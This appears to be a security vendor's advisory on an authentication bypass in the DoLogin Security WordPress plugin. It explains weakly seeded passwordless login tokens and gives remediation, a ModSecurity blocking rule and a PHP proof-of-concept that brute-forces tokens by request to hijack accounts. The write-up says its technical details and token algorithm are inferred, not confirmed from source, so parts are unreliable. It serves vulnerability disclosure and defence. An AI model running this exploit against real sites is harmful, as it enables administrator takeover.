Atomic Edge analysis of CVE-2026-14495 (metadata-based):
This vulnerability affects the DoLogin Security plugin for WordPress (versions up to 4.3) and allows unauthenticated attackers to bypass authentication by brute-forcing a weakly seeded passwordless login token. The CVSS score is 8.8 (High), reflecting the critical privilege escalation potential.
Root Cause: The plugin’s passwordless login functionality generates magic-link tokens using a deterministic pseudo-random number generator (PRNG). The `dologins::rrand()` function seeds the Mersenne Twister with `mt_srand((double) microtime() * 1000000)`. This calculates the seed as only the fractional-second portion of `microtime()`, discarding the integer-seconds component and constraining the seed to approximately 1,000,000 possible values (~20 bits of entropy). Each of the 32 characters in the token is then generated sequentially with `mt_rand()`, making the entire token deterministically derived from that weak seed. Additionally, the `Pswdless::try_login()` function registers on the unauthenticated `init` hook, resolves accounts via the auto-increment numeric ID embedded in the `?dologin=.` parameter, and performs hash comparison with a non-constant-time `!=` operator. The function calls `wp_set_auth_cookie()` directly, bypassing `wp_authenticate()` and thus the plugin’s own `Auth::_has_login_err()` lockout mechanism. These conclusions are inferred from the CWE classification (338), the vulnerability description, and common WordPress plugin patterns; no source code diff was available for confirmation.
Exploitation: An attacker begins by identifying a target account’s user ID (auto-increment primary key in `wp_users`, often guessable or enumerable). They need a valid but unexpired passwordless login link (active up to 7 days) for that account. The attacker then brute-forces the seed space (0 to 999,999) by generating the corresponding 32-character token for each seed and sending an HTTP GET request to the WordPress site with `?dologin=.` parameter. If the hash matches, the plugin authenticates the attacker as that user without a password. The attack succeeds when a link exists for the target and the attacker finds the correct seed within the ~1,000,000 candidates. This can be accomplished offline by pre-computing all token possibilities and then testing only the valid ones against the server, or online by iterating seeds until successful authentication.
Remediation: The plugin must replace the weak PRNG-based token generation with cryptographically secure random bytes. The token generation should use `random_bytes()` (PHP 7+) or `openssl_random_pseudo_bytes()` instead of `mt_rand()`. The seed must derive from a true random source, not from `microtime()`. Additionally, the authentication flow should use constant-time hash comparison (e.g., `hash_equals()`) and pass through `wp_authenticate()` to enforce lockout and other security measures. The numeric ID should not be directly embeddable in the login request without additional verification; using a non-predictable token reference is recommended.
Impact: Successful exploitation allows an unauthenticated attacker to authenticate as any WordPress user with an active passwordless login link, including administrators. This leads to full site takeover: privilege escalation, data exfiltration, malware injection, and complete compromise of the WordPress installation. The attack requires minimal resources (brute-forcing ~1M seeds) and no prior authentication, making it highly practical for attackers.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-14495 (metadata-based)
# Detects the dologin parameter exploitation attempt via AJAX or direct URL in WordPress
SecRule REQUEST_URI "@rx /wp-content/plugins/dologin/.*" "id:202614495,phase:2,deny,status:403,chain,msg:'CVE-2026-14495 - DoLogin Security Authentication Bypass via dologin parameter',severity:'CRITICAL',tag:'CVE-2026-14495'"
SecRule ARGS_GET:dologin "@rx ^[0-9]+.[a-zA-Z0-9+/=._-]+$" "chain"
SecRule ARGS_GET:dologin "@rx ^[0-9]+.[a-f0-9]{32}$" "t:none"
# Alternative rule to block direct access to the dologin parameter on any URL (broader but may cause false positives)
# Uncomment below to block any URL containing ?dologin=<user_id>.<string>
# SecRule REQUEST_URI "@rx ?dologin=" "id:202614496,phase:2,deny,status:403,msg:'CVE-2026-14495 - dologin parameter detected',severity:'CRITICAL',tag:'CVE-2026-14495'"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-14495 - DoLogin Security <= 4.3 - Unauthenticated Authentication Bypass via Insufficient Randomness
// Configuration
$target_url = 'http://example.com'; // Change to the target WordPress site URL
$target_user_id = 1; // Target user ID (often 1 is admin)
// This PoC demonstrates the offline token generation and server-side verification.
// Due to the weak entropy (~1M seeds), brute-forcing the seed is feasible.
// Step 1: Generate all possible tokens offline (simulate for demonstration - in real attack, iterate seeds)
// The plugin seeds mt_srand((double) microtime() * 1000000), so seed range = 0 to 999999
function generate_token($seed) {
mt_srand($seed);
$token = '';
for ($i = 0; $i < 32; $i++) {
// Pseudocode: each character drawn by mt_rand(), exact mapping unknown
// Assuming base64-like charset or hex, we illustrate with random byte generation
$token .= chr(mt_rand(33, 126)); // Simulated printable ASCII
}
return $token;
}
// Step 2: Test a specific seed (attacker would loop from 0 to 999999 and test each)
$seed_to_test = 123456; // Example seed (attacker iterates)
$generated_hash = generate_token($seed_to_test);
// Server URL with dologin parameter: ?dologin=<user_id>.<generated_hash>
$exploit_url = $target_url . '/?dologin=' . $target_user_id . '.' . $generated_hash;
// Step 3: Send HTTP request (GET) to trigger authentication
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookiejar.txt'); // Save session cookies
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 4: Check if authentication succeeded (e.g., 302 redirect to dashboard, or admin area later)
if (strpos($response, 'Location:') !== false) {
echo "[+] Seed $seed_to_test triggered a redirect - potential authentication success.n";
echo "[+] Check cookies file for authenticated session.n";
} else {
echo "[-] Seed $seed_to_test did not authenticate (expected for wrong seed).n";
}
// In a full attack, attacker iterates seed from 0 to 999999, making requests until authenticated.
// This script is a template - replace generate_token with the actual token algorithm if known (exact mapping from mt_rand to characters).
// Note: Without source code, the exact token character generation is unknown.
// The attacker would reverse-engineer the token format from a known valid link (if available) or infer from common patterns.
echo "n[!] Note: This PoC simulates the approach; exact token generation requires reversing the plugin's rrand() function.n";